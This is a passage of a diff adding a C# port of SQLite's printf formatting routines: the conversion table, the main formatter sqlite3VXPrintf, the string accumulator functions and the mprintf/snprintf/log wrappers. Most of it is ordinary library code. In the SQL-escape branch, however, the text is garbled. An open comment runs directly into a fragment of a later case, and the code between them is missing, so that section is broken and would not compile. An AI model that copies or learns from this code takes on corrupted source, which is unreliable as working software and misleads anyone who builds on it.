et_info( 'z', 0, 4, etDYNSTRING, 0, 0 ), +new et_info( 'q', 0, 4, etSQLESCAPE, 0, 0 ), +new et_info( 'Q', 0, 4, etSQLESCAPE2, 0, 0 ), +new et_info( 'w', 0, 4, etSQLESCAPE3, 0, 0 ), +new et_info( 'c', 0, 0, etCHARX, 0, 0 ), +new et_info( 'o', 8, 0, etRADIX, 0, 2 ), +new et_info( 'u', 10, 0, etRADIX, 0, 0 ), +new et_info( 'x', 16, 0, etRADIX, 16, 1 ), +new et_info( 'X', 16, 0, etRADIX, 0, 4 ), +#if !SQLITE_OMIT_FLOATING_POINT +new et_info( 'f', 0, 1, etFLOAT, 0, 0 ), +new et_info( 'e', 0, 1, etEXP, 30, 0 ), +new et_info( 'E', 0, 1, etEXP, 14, 0 ), +new et_info( 'G', 0, 1, etGENERIC, 14, 0 ), +#endif +new et_info( 'i', 10, 1, etRADIX, 0, 0 ), +new et_info( 'n', 0, 0, etSIZE, 0, 0 ), +new et_info( '%', 0, 0, etPERCENT, 0, 0 ), +new et_info( 'p', 16, 0, etPOINTER, 0, 1 ), + +/* All the rest have the FLAG_INTERN bit set and are thus for internal +** use only */ +new et_info( 'T', 0, 2, etTOKEN, 0, 0 ), +new et_info( 'S', 0, 2, etSRCLIST, 0, 0 ), +new et_info( 'r', 10, 3, etORDINAL, 0, 0 ), +}; + /* + ** If SQLITE_OMIT_FLOATING_POINT is defined, then none of the floating point + ** conversions will work. + */ +#if !SQLITE_OMIT_FLOATING_POINT + /* +** "*val" is a double such that 0.1 <= *val < 10.0 +** Return the ascii code for the leading digit of *val, then +** multiply "*val" by 10.0 to renormalize. +** +** Example: +** input: *val = 3.14159 +** output: *val = 1.4159 function return = '3' +** +** The counter *cnt is incremented each time. After counter exceeds +** 16 (the number of significant digits in a 64-bit float) '0' is +** always returned. +*/ + static char et_getdigit( ref LONGDOUBLE_TYPE val, ref int cnt ) + { + int digit; + LONGDOUBLE_TYPE d; + if ( cnt++ >= 16 ) + return '\0'; + digit = (int)val; + d = digit; + //digit += '0'; + val = ( val - d ) * 10.0; + return (char)digit; + } +#endif // * SQLITE_OMIT_FLOATING_POINT */ + + /* +** Append N space characters to the given string buffer. +*/ + static void appendSpace( StrAccum pAccum, int N ) + { + //static const char zSpaces[] = " "; + //while( N>=zSpaces.Length-1 ){ + // sqlite3StrAccumAppend(pAccum, zSpaces, zSpaces.Length-1); + // N -= zSpaces.Length-1; + //} + //if( N>0 ){ + // sqlite3StrAccumAppend(pAccum, zSpaces, N); + //} + pAccum.zText.AppendFormat( "{0," + N + "}", "" ); + } + + /* + ** On machines with a small stack size, you can redefine the + ** SQLITE_PRINT_BUF_SIZE to be less than 350. + */ +#if !SQLITE_PRINT_BUF_SIZE +# if (SQLITE_SMALL_STACK) +const int SQLITE_PRINT_BUF_SIZE = 50; +# else + const int SQLITE_PRINT_BUF_SIZE = 350; +#endif +#endif + const int etBUFSIZE = SQLITE_PRINT_BUF_SIZE; /* Size of the output buffer */ + + /* + ** The root program. All variations call this core. + ** + ** INPUTS: + ** func This is a pointer to a function taking three arguments + ** 1. A pointer to anything. Same as the "arg" parameter. + ** 2. A pointer to the list of characters to be output + ** (Note, this list is NOT null terminated.) + ** 3. An integer number of characters to be output. + ** (Note: This number might be zero.) + ** + ** arg This is the pointer to anything which will be passed as the + ** first argument to "func". Use it for whatever you like. + ** + ** fmt This is the format string, as in the usual print. + ** + ** ap This is a pointer to a list of arguments. Same as in + ** vfprint. + ** + ** OUTPUTS: + ** The return value is the total number of characters sent to + ** the function "func". Returns -1 on a error. + ** + ** Note that the order in which automatic variables are declared below + ** seems to make a big difference in determining how fast this beast + ** will run. + */ + static char[] buf = new char[etBUFSIZE]; /* Conversion buffer */ + static void sqlite3VXPrintf( + StrAccum pAccum, /* Accumulate results here */ + int useExtended, /* Allow extended %-conversions */ + string fmt, /* Format string */ + va_list[] ap /* arguments */ + ) + { + int c; /* Next character in the format string */ + int bufpt; /* Pointer to the conversion buffer */ + int precision; /* Precision of the current field */ + int length; /* Length of the field */ + int idx; /* A general purpose loop counter */ + int width; /* Width of the current field */ + etByte flag_leftjustify; /* True if "-" flag is present */ + etByte flag_plussign; /* True if "+" flag is present */ + etByte flag_blanksign; /* True if " " flag is present */ + etByte flag_alternateform; /* True if "#" flag is present */ + etByte flag_altform2; /* True if "!" flag is present */ + etByte flag_zeropad; /* True if field width constant starts with zero */ + etByte flag_long; /* True if "l" flag is present */ + etByte flag_longlong; /* True if the "ll" flag is present */ + etByte done; /* Loop termination flag */ + i64 longvalue; + LONGDOUBLE_TYPE realvalue; /* Value for real types */ + et_info infop; /* Pointer to the appropriate info structure */ + char[] buf = new char[etBUFSIZE]; /* Conversion buffer */ + char prefix; /* Prefix character. "+" or "-" or " " or '\0'. */ + byte xtype = 0; /* Conversion paradigm */ + // Not used in C# -- string zExtra; /* Extra memory used for etTCLESCAPE conversions */ +#if !SQLITE_OMIT_FLOATING_POINT + int exp, e2; /* exponent of real numbers */ + double rounder; /* Used for rounding floating point values */ + etByte flag_dp; /* True if decimal point should be shown */ + etByte flag_rtz; /* True if trailing zeros should be removed */ + etByte flag_exp; /* True to force display of the exponent */ + int nsd; /* Number of significant digits returned */ +#endif + length = 0; + bufpt = 0; + int _fmt = 0; // Work around string pointer + fmt += '\0'; + + for ( ; _fmt <= fmt.Length && ( c = fmt[_fmt] ) != 0; ++_fmt ) + { + if ( c != '%' ) + { + int amt; + bufpt = _fmt; + amt = 1; + while ( _fmt < fmt.Length && ( c = ( fmt[++_fmt] ) ) != '%' && c != 0 ) + amt++; + sqlite3StrAccumAppend( pAccum, fmt.Substring( bufpt, amt ), amt ); + if ( c == 0 ) + break; + } + if ( _fmt < fmt.Length && ( c = ( fmt[++_fmt] ) ) == 0 ) + { + sqlite3StrAccumAppend( pAccum, "%", 1 ); + break; + } + /* Find out what flags are present */ + flag_leftjustify = flag_plussign = flag_blanksign = + flag_alternateform = flag_altform2 = flag_zeropad = false; + done = false; + do + { + switch ( c ) + { + case '-': + flag_leftjustify = true; + break; + case '+': + flag_plussign = true; + break; + case ' ': + flag_blanksign = true; + break; + case '#': + flag_alternateform = true; + break; + case '!': + flag_altform2 = true; + break; + case '0': + flag_zeropad = true; + break; + default: + done = true; + break; + } + } while ( !done && _fmt < fmt.Length - 1 && ( c = ( fmt[++_fmt] ) ) != 0 ); + /* Get the field width */ + width = 0; + if ( c == '*' ) + { + width = va_arg( ap, (Int32)0 ); + if ( width < 0 ) + { + flag_leftjustify = true; + width = -width; + } + c = fmt[++_fmt]; + } + else + { + while ( c >= '0' && c <= '9' ) + { + width = width * 10 + c - '0'; + c = fmt[++_fmt]; + } + } + if ( width > etBUFSIZE - 10 ) + { + width = etBUFSIZE - 12; + } + /* Get the precision */ + if ( c == '.' ) + { + precision = 0; + c = fmt[++_fmt]; + if ( c == '*' ) + { + precision = va_arg( ap, (Int32)0 ); + if ( precision < 0 ) + precision = -precision; + c = fmt[++_fmt]; + } + else + { + while ( c >= '0' && c <= '9' ) + { + precision = precision * 10 + c - '0'; + c = fmt[++_fmt]; + } + } + } + else + { + precision = -1; + } + /* Get the conversion type modifier */ + if ( c == 'l' ) + { + flag_long = true; + c = fmt[++_fmt]; + if ( c == 'l' ) + { + flag_longlong = true; + c = fmt[++_fmt]; + } + else + { + flag_longlong = false; + } + } + else + { + flag_long = flag_longlong = false; + } + /* Fetch the info entry for the field */ + infop = fmtinfo[0]; + xtype = etINVALID; + for ( idx = 0; idx < ArraySize( fmtinfo ); idx++ ) + { + if ( c == fmtinfo[idx].fmttype ) + { + infop = fmtinfo[idx]; + if ( useExtended != 0 || ( infop.flags & FLAG_INTERN ) == 0 ) + { + xtype = infop.type; + } + else + { + return; + } + break; + } + } + //zExtra = null; + + /* Limit the precision to prevent overflowing buf[] during conversion */ + if ( precision > etBUFSIZE - 40 && ( infop.flags & FLAG_STRING ) == 0 ) + { + precision = etBUFSIZE - 40; + } + + /* + ** At this point, variables are initialized as follows: + ** + ** flag_alternateform TRUE if a '#' is present. + ** flag_altform2 TRUE if a '!' is present. + ** flag_plussign TRUE if a '+' is present. + ** flag_leftjustify TRUE if a '-' is present or if the + ** field width was negative. + ** flag_zeropad TRUE if the width began with 0. + ** flag_long TRUE if the letter 'l' (ell) prefixed + ** the conversion character. + ** flag_longlong TRUE if the letter 'll' (ell ell) prefixed + ** the conversion character. + ** flag_blanksign TRUE if a ' ' is present. + ** width The specified field width. This is + ** always non-negative. Zero is the default. + ** precision The specified precision. The default + ** is -1. + ** xtype The class of the conversion. + ** infop Pointer to the appropriate info struct. + */ + switch ( xtype ) + { + case etPOINTER: + flag_longlong = true;// char*.Length == sizeof(i64); + flag_long = false;// char*.Length == sizeof(long); + /* Fall through into the next case */ + goto case etRADIX; + case etORDINAL: + case etRADIX: + if ( ( infop.flags & FLAG_SIGNED ) != 0 ) + { + i64 v; + if ( flag_longlong ) + { + v = (Int64)va_arg( ap, (Int64)0 ); + } + else if ( flag_long ) + { + v = (Int64)va_arg( ap, (Int64)0 ); + } + else + { + v = (Int32)va_arg( ap, (Int32)0 ); + } + if ( v < 0 ) + { + if ( v == SMALLEST_INT64 ) + { + longvalue = ( (long)( (u64)1 ) << 63 ); + } + else + { + longvalue = -v; + } + prefix = '-'; + } + else + { + longvalue = v; + if ( flag_plussign ) + prefix = '+'; + else if ( flag_blanksign ) + prefix = ' '; + else + prefix = '\0'; + } + } + else + { + if ( flag_longlong ) + { + longvalue = va_arg( ap, (Int64)0 ); + } + else if ( flag_long ) + { + longvalue = va_arg( ap, (Int64)0 ); + } + else + { + longvalue = va_arg( ap, (Int64)0 ); + } + prefix = '\0'; + } + if ( longvalue == 0 ) + flag_alternateform = false; + if ( flag_zeropad && precision < width - ( ( prefix != '\0' ) ? 1 : 0 ) ) + { + precision = width - ( ( prefix != '\0' ) ? 1 : 0 ); + } + bufpt = buf.Length;//[etBUFSIZE-1]; + char[] _bufOrd = null; + if ( xtype == etORDINAL ) + { + char[] zOrd = "thstndrd".ToCharArray(); + int x = (int)( longvalue % 10 ); + if ( x >= 4 || ( longvalue / 10 ) % 10 == 1 ) + { + x = 0; + } + _bufOrd = new char[2]; + _bufOrd[0] = zOrd[x * 2]; + _bufOrd[1] = zOrd[x * 2 + 1]; + //bufpt -= 2; + } + { + + char[] _buf; + switch ( infop._base ) + { + case 16: + _buf = longvalue.ToString( "x" ).ToCharArray(); + break; + case 8: + _buf = Convert.ToString( (long)longvalue, 8 ).ToCharArray(); + break; + default: + { + if ( flag_zeropad ) + _buf = longvalue.ToString( new string( '0', width - ( ( prefix != '\0' ) ? 1 : 0 ) ) ).ToCharArray(); + else + _buf = longvalue.ToString().ToCharArray(); + } + break; + } + bufpt = buf.Length - _buf.Length - ( _bufOrd == null ? 0 : 2 ); + Array.Copy( _buf, 0, buf, bufpt, _buf.Length ); + if ( _bufOrd != null ) + { + buf[buf.Length - 1] = _bufOrd[1]; + buf[buf.Length - 2] = _bufOrd[0]; + } + //char* cset; /* Use registers for speed */ + //int _base; + //cset = aDigits[infop.charset]; + //_base = infop._base; + //do + //{ /* Convert to ascii */ + // *(--bufpt) = cset[longvalue % (ulong)_base]; + // longvalue = longvalue / (ulong)_base; + //} while (longvalue > 0); + } + length = buf.Length - bufpt;//length = (int)(&buf[etBUFSIZE-1]-bufpt); + for ( idx = precision - length; idx > 0; idx-- ) + { + buf[( --bufpt )] = '0'; /* Zero pad */ + } + if ( prefix != '\0' ) + buf[--bufpt] = prefix; /* Add sign */ + if ( flag_alternateform && infop.prefix != 0 ) + { /* Add "0" or "0x" */ + int pre; + char x; + pre = infop.prefix; + for ( ; ( x = aPrefix[pre] ) != 0; pre++ ) + buf[--bufpt] = x; + } + length = buf.Length - bufpt;//length = (int)(&buf[etBUFSIZE-1]-bufpt); + break; + case etFLOAT: + case etEXP: + case etGENERIC: + realvalue = va_arg( ap, (Double)0 ); +#if SQLITE_OMIT_FLOATING_POINT +length = 0; +#else + if ( precision < 0 ) + precision = 6; /* Set default precision */ + if ( precision > etBUFSIZE / 2 - 10 ) + precision = etBUFSIZE / 2 - 10; + if ( realvalue < 0.0 ) + { + realvalue = -realvalue; + prefix = '-'; + } + else + { + if ( flag_plussign ) + prefix = '+'; + else if ( flag_blanksign ) + prefix = ' '; + else + prefix = '\0'; + } + if ( xtype == etGENERIC && precision > 0 ) + precision--; +#if FALSE +/* Rounding works like BSD when the constant 0.4999 is used. Wierd! */ +for(idx=precision, rounder=0.4999; idx>0; idx--, rounder*=0.1); +#else + /* It makes more sense to use 0.5 */ + for ( idx = precision, rounder = 0.5; idx > 0; idx--, rounder *= 0.1 ) + { + } +#endif + if ( xtype == etFLOAT ) + realvalue += rounder; + /* Normalize realvalue to within 10.0 > realvalue >= 1.0 */ + exp = 0; + double d = 0; +#if WINDOWS_MOBILE + //alxwest: Tryparse doesn't exist on Windows Moble and what will Tryparsing a double do? + if ( Double.IsNaN( realvalue )) +#else + if ( Double.IsNaN( realvalue ) || !( Double.TryParse( Convert.ToString( realvalue ), out d ) ) )//if( sqlite3IsNaN((double)realvalue) ) +#endif + { + buf[0] = 'N'; + buf[1] = 'a'; + buf[2] = 'N';// "NaN" + length = 3; + break; + } + if ( realvalue > 0.0 ) + { + while ( realvalue >= 1e32 && exp <= 350 ) + { + realvalue *= 1e-32; + exp += 32; + } + while ( realvalue >= 1e8 && exp <= 350 ) + { + realvalue *= 1e-8; + exp += 8; + } + while ( realvalue >= 10.0 && exp <= 350 ) + { + realvalue *= 0.1; + exp++; + } + while ( realvalue < 1e-8 ) + { + realvalue *= 1e8; + exp -= 8; + } + while ( realvalue < 1.0 ) + { + realvalue *= 10.0; + exp--; + } + if ( exp > 350 ) + { + if ( prefix == '-' ) + { + buf[0] = '-'; + buf[1] = 'I'; + buf[2] = 'n'; + buf[3] = 'f';// "-Inf" + bufpt = 4; + } + else if ( prefix == '+' ) + { + buf[0] = '+'; + buf[1] = 'I'; + buf[2] = 'n'; + buf[3] = 'f';// "+Inf" + bufpt = 4; + } + else + { + buf[0] = 'I'; + buf[1] = 'n'; + buf[2] = 'f';// "Inf" + bufpt = 3; + } + length = sqlite3Strlen30( bufpt );// sqlite3Strlen30(bufpt); + bufpt = 0; + break; + } + } + bufpt = 0; + /* + ** If the field type is etGENERIC, then convert to either etEXP + ** or etFLOAT, as appropriate. + */ + flag_exp = xtype == etEXP; + if ( xtype != etFLOAT ) + { + realvalue += rounder; + if ( realvalue >= 10.0 ) + { + realvalue *= 0.1; + exp++; + } + } + if ( xtype == etGENERIC ) + { + flag_rtz = !flag_alternateform; + if ( exp < -4 || exp > precision ) + { + xtype = etEXP; + } + else + { + precision = precision - exp; + xtype = etFLOAT; + } + } + else + { + flag_rtz = false; + } + if ( xtype == etEXP ) + { + e2 = 0; + } + else + { + e2 = exp; + } + nsd = 0; + flag_dp = ( precision > 0 ? true : false ) | flag_alternateform | flag_altform2; + /* The sign in front of the number */ + if ( prefix != '\0' ) + { + buf[bufpt++] = prefix; + } + /* Digits prior to the decimal point */ + if ( e2 < 0 ) + { + buf[bufpt++] = '0'; + } + else + { + for ( ; e2 >= 0; e2-- ) + { + buf[bufpt++] = (char)( et_getdigit( ref realvalue, ref nsd ) + '0' ); // *(bufpt++) = et_getdigit(ref realvalue, ref nsd); + } + + } + /* The decimal point */ + if ( flag_dp ) + { + buf[bufpt++] = '.'; + } + /* "0" digits after the decimal point but before the first + ** significant digit of the number */ + for ( e2++; e2 < 0; precision--, e2++ ) + { + Debug.Assert( precision > 0 ); + buf[bufpt++] = '0'; + } + /* Significant digits after the decimal point */ + while ( ( precision-- ) > 0 ) + { + buf[bufpt++] = (char)( et_getdigit( ref realvalue, ref nsd ) + '0' ); // *(bufpt++) = et_getdigit(&realvalue, nsd); + } + /* Remove trailing zeros and the "." if no digits follow the "." */ + if ( flag_rtz && flag_dp ) + { + while ( buf[bufpt - 1] == '0' ) + buf[--bufpt] = '\0'; + Debug.Assert( bufpt > 0 ); + if ( buf[bufpt - 1] == '.' ) + { + if ( flag_altform2 ) + { + buf[( bufpt++ )] = '0'; + } + else + { + buf[( --bufpt )] = '0'; + } + } + } + /* Add the "eNNN" suffix */ + if ( flag_exp || xtype == etEXP ) + { + buf[bufpt++] = aDigits[infop.charset]; + if ( exp < 0 ) + { + buf[bufpt++] = '-'; + exp = -exp; + } + else + { + buf[bufpt++] = '+'; + } + if ( exp >= 100 ) + { + buf[bufpt++] = (char)( exp / 100 + '0' ); /* 100's digit */ + exp %= 100; + } + buf[bufpt++] = (char)( exp / 10 + '0' ); /* 10's digit */ + buf[bufpt++] = (char)( exp % 10 + '0' ); /* 1's digit */ + } + //bufpt = 0; + + /* The converted number is in buf[] and zero terminated. Output it. + ** Note that the number is in the usual order, not reversed as with + ** integer conversions. */ + length = bufpt;//length = (int)(bufpt-buf); + bufpt = 0; + + /* Special case: Add leading zeros if the flag_zeropad flag is + ** set and we are not left justified */ + if ( flag_zeropad && !flag_leftjustify && length < width ) + { + int i; + int nPad = width - length; + for ( i = width; i >= nPad; i-- ) + { + buf[bufpt + i] = buf[bufpt + i - nPad]; + } + i = ( prefix != '\0' ? 1 : 0 ); + while ( nPad-- != 0 ) + buf[( bufpt++ ) + i] = '0'; + length = width; + bufpt = 0; + } +#endif //* !defined(SQLITE_OMIT_FLOATING_POINT) */ + break; + case etSIZE: + ap[0] = pAccum.nChar; // *(va_arg(ap,int)) = pAccum.nChar; + length = width = 0; + break; + case etPERCENT: + buf[0] = '%'; + bufpt = 0; + length = 1; + break; + case etCHARX: + c = va_arg( ap, (Char) 0); + buf[0] = (char)c; + if ( precision >= 0 ) + { + for ( idx = 1; idx < precision; idx++ ) + buf[idx] = (char)c; + length = precision; + } + else + { + length = 1; + } + bufpt = 0; + break; + case etSTRING: + case etDYNSTRING: + bufpt = 0;// + string bufStr = (string)va_arg( ap, "string" ); + if ( bufStr.Length > buf.Length ) + buf = new char[bufStr.Length]; + bufStr.ToCharArray().CopyTo( buf, 0 ); + bufpt = bufStr.Length; + if ( bufpt == 0 ) + { + buf[0] = '\0'; + } + else if ( xtype == etDYNSTRING ) + { + // zExtra = bufpt; + } + if ( precision >= 0 ) + { + for ( length = 0; length < precision && length < bufStr.Length && buf[length] != 0; length++ ) + { + } + //length += precision; + } + else + { + length = sqlite3Strlen30( bufpt ); + } + bufpt = 0; + break; + case etSQLESCAPE: + case etSQLESCAPE2: + case etSQLESCAPE3: + { + int i; + int j; + int k; + int n; + bool isnull; + bool needQuote; + char ch; + char q = ( ( xtype == etSQLESCAPE3 ) ? '"' : '\'' ); /* Quote character */ + string escarg = (string)va_arg( ap, "char*" ) + '\0'; + isnull = ( escarg == "" || escarg == "NULL\0" ); + if ( isnull ) + escarg = ( xtype == etSQLESCAPE2 ) ? "NULL\0" : "(NULL)\0"; + k = precision; + for ( i = n = 0; k != 0 && ( ch = escarg[i] ) != 0; i++, k-- ) + { + if ( ch == q ) + n++; + } + needQuote = !isnull && ( xtype == etSQLESCAPE2 ); + n += i + 1 + ( needQuote ? 2 : 0 ); + if ( n > etBUFSIZE ) + { + buf = new char[n];//bufpt = zExtra = sqlite3Malloc(n); + //if ( bufpt == 0 ) + //{ + // pAccum->mallocFailed = 1; + // return; + //} + bufpt = 0; //Start of Buffer + } + else + { + //bufpt = buf; + bufpt = 0; //Start of Buffer + } + j = 0; + if ( needQuote ) + buf[bufpt + j++] = q; + k = i; + for ( i = 0; i < k; i++ ) + { + buf[bufpt + j++] = ch = escarg[i]; + if ( ch == q ) + buf[bufpt + j++] = ch; + } + if ( needQuote ) + buf[bufpt + j++] = q; + buf[bufpt + j] = '\0'; + length = j; + /* The precision in %q and %Q means how many input characters to + ** consume, not the length of the output... + ** if( precision>=0 && precision= 0 && k < pSrc.nSrc ); + if ( pItem.zDatabase != null ) + { + sqlite3StrAccumAppend( pAccum, pItem.zDatabase, -1 ); + sqlite3StrAccumAppend( pAccum, ".", 1 ); + } + sqlite3StrAccumAppend( pAccum, pItem.zName, -1 ); + length = width = 0; + break; + } + default: + { + Debug.Assert( xtype == etINVALID ); + return; + } + }/* End switch over the format type */ + /* + ** The text of the conversion is pointed to by "bufpt" and is + ** "length" characters long. The field width is "width". Do + ** the output. + */ + if ( !flag_leftjustify ) + { + int nspace; + nspace = width - length;// -2; + if ( nspace > 0 ) + { + appendSpace( pAccum, nspace ); + } + } + if ( length > 0 ) + { + sqlite3StrAccumAppend( pAccum, new string( buf, bufpt, length ), length ); + } + if ( flag_leftjustify ) + { + int nspace; + nspace = width - length; + if ( nspace > 0 ) + { + appendSpace( pAccum, nspace ); + } + } + //if( zExtra ){ + // sqlite3DbFree(db,ref zExtra); + //} + }/* End for loop over the format string */ + } /* End of function */ + + /* + ** Append N bytes of text from z to the StrAccum object. + */ + + static void sqlite3StrAccumAppend( StrAccum p, string z, int N ) + { + Debug.Assert( z != null || N == 0 ); + if ( p.tooBig )//|| p.mallocFailed != 0 ) + { + testcase( p.tooBig ); + //testcase( p.mallocFailed ); + return; + } + if ( N < 0 ) + { + N = sqlite3Strlen30( z ); + } + if ( N == 0 || NEVER( z == null ) ) + { + return; + } + //if( p->nChar+N >= p->nAlloc ){ + // string zNew; + // if( null==p->useMalloc ){ + // p->tooBig = 1; + // N = p->nAlloc - p->nChar - 1; + // if( N<=0 ){ + // return; + // } + // }else{ + // string zOld = (p->zText==p->zBase ? 0 : p->zText); + // i64 szNew = p->nChar; + // szNew += N + 1; + // if( szNew > p->mxAlloc ){ + // sqlite3StrAccumReset(p); + // p->tooBig = 1; + // return; + // }else{ + // p->nAlloc = (int)szNew; + // } + // if( p->useMalloc==1 ){ + // zNew = sqlite3DbRealloc(p->db, zOld, p->nAlloc); + // }else{ + // zNew = sqlite3_realloc(zOld, p->nAlloc); + // } + // if( zNew ){ + // if( zOld==0 ) memcpy(zNew, p->zText, p->nChar); + // p->zText = zNew; + // }else{ + // p->mallocFailed = 1; + // sqlite3StrAccumReset(p); + // return; + // } + // } + //} + //memcpy(&p->zText[p->nChar], z, N); + p.zText.Append( z.Substring( 0, N <= z.Length ? N : z.Length ) ); + //p.nChar += N; + } + + /* + ** Finish off a string by making sure it is zero-terminated. + ** Return a pointer to the resulting string. Return a NULL + ** pointer if any kind of error was encountered. + */ + static string sqlite3StrAccumFinish( StrAccum p ) + { + //if ( p->zText ) + //{ + // p->zText[p->nChar] = 0; + // if ( p->useMalloc && p->zText == p->zBase ) + // { + // if ( p->useMalloc == 1 ) + // { + // p->zText = sqlite3DbMallocRaw( p->db, p->nChar + 1 ); + // } + // else + // { + // p->zText = sqlite3_malloc( p->nChar + 1 ); + // } + // if ( p->zText ) + // { + // memcpy( p->zText, p->zBase, p->nChar + 1 ); + // } + // else + // { + // p->mallocFailed = 1; + // } + // } + //} + return p.zText.ToString(); + } + + /* + ** Reset an StrAccum string. Reclaim all malloced memory. + */ + static void sqlite3StrAccumReset( StrAccum p ) + { + //if ( p.zText.ToString() != p.zBase.ToString() ) + //{ + // if ( p.useMalloc == 1 ) + // { + // sqlite3DbFree( p.db, ref p.zText ); + // } + // else + // { + // sqlite3_free( ref p.zText ); + // } + //} + p.zText.Length = 0; + } + + /* + ** Initialize a string accumulator + */ + static void sqlite3StrAccumInit( StrAccum p, StringBuilder zBase, int n, int mx ) + { + //p.zBase.Length = 0; + //if ( p.zBase.Capacity < n ) + // p.zBase.Capacity = n; + p.zText.Length = 0; + if ( p.zText.Capacity < n ) + p.zText.Capacity = n; + p.db = null; + //p.nChar = 0; + //p.nAlloc = n; + p.mxAlloc = mx; + //p.useMalloc = 1; + //p.tooBig = 0; + //p.mallocFailed = 0; + } + /* + ** Print into memory obtained from sqliteMalloc(). Use the internal + ** %-conversion extensions. + */ + static StrAccum acc = new StrAccum( SQLITE_PRINT_BUF_SIZE ); + static string sqlite3VMPrintf( sqlite3 db, string zFormat, params va_list[] ap ) + { + if ( zFormat == null ) + return null; + if ( ap.Length == 0 ) + return zFormat; + //string z; + Debug.Assert( db != null ); + sqlite3StrAccumInit( acc, null, SQLITE_PRINT_BUF_SIZE, + db.aLimit[SQLITE_LIMIT_LENGTH] ); + acc.db = db; + acc.zText.Length = 0; + sqlite3VXPrintf( acc, 1, zFormat, ap ); + // if ( acc.mallocFailed != 0 ) + // { + ////// db.mallocFailed = 1; + // } + return sqlite3StrAccumFinish( acc ); + } + + /* + ** Print into memory obtained from sqliteMalloc(). Use the internal + ** %-conversion extensions. + */ + static string sqlite3MPrintf( sqlite3 db, string zFormat, params va_list[] ap ) + { + string z; + //va_list ap; + lock ( lock_va_list ) + { + va_start( ap, zFormat ); + z = sqlite3VMPrintf( db, zFormat, ap ); + va_end( ref ap ); + } + return z; + } + + /* + ** Like sqlite3MPrintf(), but call sqlite3DbFree() on zStr after formatting + ** the string and before returnning. This routine is intended to be used + ** to modify an existing string. For example: + ** + ** x = sqlite3MPrintf(db, x, "prefix %s suffix", x); + ** + */ + static string sqlite3MAppendf( sqlite3 db, string zStr, string zFormat, params va_list[] ap ) + { + string z; + //va_list ap; + lock ( lock_va_list ) + { + va_start( ap, zFormat ); + z = sqlite3VMPrintf( db, zFormat, ap ); + va_end( ref ap ); + sqlite3DbFree( db, ref zStr ); + } + return z; + } + + /* + ** Print into memory obtained from sqlite3Malloc(). Omit the internal + ** %-conversion extensions. + */ + static string sqlite3_vmprintf( string zFormat, params va_list[] ap ) + { + //StrAccum acc = new StrAccum( SQLITE_PRINT_BUF_SIZE ); +#if !SQLITE_OMIT_AUTOINIT + if ( sqlite3_initialize() != 0 ) + return ""; +#endif + sqlite3StrAccumInit( acc, null, SQLITE_PRINT_BUF_SIZE, SQLITE_PRINT_BUF_SIZE );//zBase).Length; + //acc.useMalloc = 2; + sqlite3VXPrintf( acc, 0, zFormat, ap ); + return sqlite3StrAccumFinish( acc ); + } + + /* + ** Print into memory obtained from sqlite3Malloc()(). Omit the internal + ** %-conversion extensions. + */ + static public string sqlite3_mprintf( string zFormat, params va_list[] ap ) + { //, ...){ + string z; +#if !SQLITE_OMIT_AUTOINIT + if ( sqlite3_initialize() != 0 ) + return ""; +#endif + //va_list ap; + lock ( lock_va_list ) + { + va_start( ap, zFormat ); + z = sqlite3_vmprintf( zFormat, ap ); + va_end( ref ap ); + } + return z; + } + + /* + ** sqlite3_snprintf() works like snprintf() except that it ignores the + ** current locale settings. This is important for SQLite because we + ** are not able to use a "," as the decimal point in place of "." as + ** specified by some locales. + ** + ** Oops: The first two arguments of sqlite3_snprintf() are backwards + ** from the snprintf() standard. Unfortunately, it is too late to change + ** this without breaking compatibility, so we just have to live with the + ** mistake. + ** + ** sqlite3_vsnprintf() is the varargs version. + */ + static public void sqlite3_vsnprintf( int n, StringBuilder zBuf, string zFormat, params va_list[] ap ) + { + //StrAccum acc = new StrAccum( SQLITE_PRINT_BUF_SIZE ); + if ( n <= 0 ) + return; + sqlite3StrAccumInit( acc, null, n, 0 ); + //acc.useMalloc = 0; + sqlite3VXPrintf( acc, 0, zFormat, ap ); + zBuf.Length = 0; + if ( n > 1 && n <= acc.zText.Length ) + acc.zText.Length = n - 1; + zBuf.Append( sqlite3StrAccumFinish( acc ) ); + return; + } + + static public void sqlite3_snprintf( int n, StringBuilder zBuf, string zFormat, params va_list[] ap ) + { + //string z; + //va_list ap; + lock ( lock_va_list ) + {//StrAccum acc = new StrAccum( SQLITE_PRINT_BUF_SIZE ); + zBuf.EnsureCapacity( SQLITE_PRINT_BUF_SIZE ); + va_start( ap, zFormat ); + sqlite3_vsnprintf( n, zBuf, zFormat, ap ); + va_end( ref ap ); + } + return; + } + + //static public string sqlite3_snprintf( int n, ref string zBuf, string zFormat, params va_list[] ap ) + //{ + // string z; + // //va_list ap; + // StrAccum acc = new StrAccum( SQLITE_PRINT_BUF_SIZE ); + + // if ( n <= 0 ) + // { + // return zBuf; + // } + // sqlite3StrAccumInit( acc, null, n, 0 ); + // //acc.useMalloc = 0; + // va_start( ap, zFormat ); + // sqlite3VXPrintf( acc, 0, zFormat, ap ); + // va_end( ap ); + // z = sqlite3StrAccumFinish( acc ); + // return ( zBuf = z ); + //} + + /* + ** This is the routine that actually formats the sqlite3_log() message. + ** We house it in a separate routine from sqlite3_log() to avoid using + ** stack space on small-stack systems when logging is disabled. + ** + ** sqlite3_log() must render into a static buffer. It cannot dynamically + ** allocate memory because it might be called while the memory allocator + ** mutex is held. + */ + static void renderLogMsg( int iErrCode, string zFormat, params object[] ap ) + { + //StrAccum acc; /* String accumulator */ + //char zMsg[SQLITE_PRINT_BUF_SIZE*3]; /* Complete log message */ + + sqlite3StrAccumInit( acc, null, SQLITE_PRINT_BUF_SIZE * 3, 0 ); + //acc.useMalloc = 0; + sqlite3VXPrintf( acc, 0, zFormat, ap ); + sqlite3GlobalConfig.xLog( sqlite3GlobalConfig.pLogArg, iErrCode, + sqlite3StrAccumFinish( acc ) ); + } + + /* + ** Format and write a message to the log if logging is enabled. + */ + static void sqlite3_log( int iErrCode, string zFormat, params va_list[] ap ) + { + if ( sqlite3GlobalConfig.xLog != null ) + { + //va_list ap; /* Vararg list */ + lock ( lock_va_list ) + { + va_start( ap, zFormat ); + renderLogMsg( iErrCode, zFormat, ap ); + va_end( ref ap ); + } + } + } + +#if SQLITE_DEBUG || DEBUG || TRACE + /* +** A version of printf() that understands %lld. Used for debugging. +** The printf() built into some versions of windows does not understand %lld +** and segfaults if you give it a long long int. +*/ + static void sqlite3DebugPrintf( string zFormat, params va_list[] ap ) + { + //va_list ap; + lock ( lock_va_list ) + { + //StrAccum acc = new StrAccum( SQLITE_PRINT_BUF_SIZE ); + sqlite3StrAccumInit( acc, null, SQLITE_PRINT_BUF_SIZE, 0 ); + //acc.useMalloc = 0; + va_start( 